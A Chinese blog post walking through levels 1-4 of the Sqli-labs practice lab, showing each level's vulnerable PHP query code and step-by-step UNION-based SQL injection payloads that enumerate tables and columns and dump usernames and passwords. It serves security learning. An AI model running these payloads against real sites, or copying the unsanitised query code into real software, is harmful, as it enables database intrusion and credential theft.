重闯Sqli-labs关卡第一天(1-4关)

前言

之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉。。。 垃圾的我只能继续硬着头皮重新再来学习,再来闯。 

第一关:字符型注入


字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对双引号引起来。
字符型注入代码示例:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入
 2 ' and 1=1 %23
 3 判断字段
 4 ' order by 3 %23
 5 判断位置
 6 id=-2' union select 1,2,3%23
 7 爆版本及数据库名
 8 id=-2' union select 1,version(),database()%23
 9 爆当前数据库下表名
10 id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
11 爆字段
12 id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
13 爆字段下的数据
14 id=-2' union select 1,group_concat(username,password),2 from users %23

第二关:数字型注入


数字型注入就是注入点的数据类型是数字型,没有用单引号引起来。数字型注入的示例代码:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入(经过判断是数值型的很好注入 )
 2 id=1 and 1=1
 3 id=1 and 1=2
 4 判断字段数量
 5 id=1 order by 3
 6 判断字段位置(这里需要改id=0或其他导致错误页面 才能显示位置)
 7 id=0 union select 1,2,3
 8 爆出数据库版本及当前数据库名称
 9 id=0 union select 1,version(),database()
10 爆出当前数据库表
11 id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
12 爆出表忠的字段
13 id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
14 爆出字中的数据
15 id=0 union select 1,group_concat(username,password),3 from users;

第三关:基于错误的GET单引号变形字符型注入


核心代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload:

 1 id=2'报错分析出此sql语句有括号(
 2 判断注入
 3 id=2') and 1=1 %23 (根据报错信息看到 sql在)里面所以)
 4 id=2') and 1=2 %23
 5 判断注入我们发现 报错爆出 我们id后面的语句在括号里面所以我们要闭合括号进行判断 另外它是字符类型注入 所以我们要用注释 注释掉最后面的单引号
 6 id=2') and 1=1 --+
 7 id=2') and 1=2 --+
 8 判断字段数量
 9 id=2') order by 3 %23
10 判断字段位置
11 id=0') union select 1,2,3 %23
12 爆数据库表
13 id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
14 爆数据库表下的字段
15 id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
16 爆字段下的数据
17 id=0') union select 1,group_concat(username,password),3 from users --+

第四关:(基于错误的GET双引号字符型注入)

核心代码:

1 $id = '"' . $id . '"';
2 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload:

 1 id=2" 双引号报错
 2 
 3 id=2") and 1=1 --+
 4 id=2") and 1=2 --+
 5 id=2") order by 3 --+
 6 id=-2") union select 1,2,3 --+
 7 id=-2") union select 1,database(),version() --+
 8 id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
 9 id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
10 id=-2") union select 1,group_concat(username),group_concat(password) from users --+

 

posted @ 2020-01-08 17:38  笑花大王  阅读(229)  评论(0编辑  收藏  举报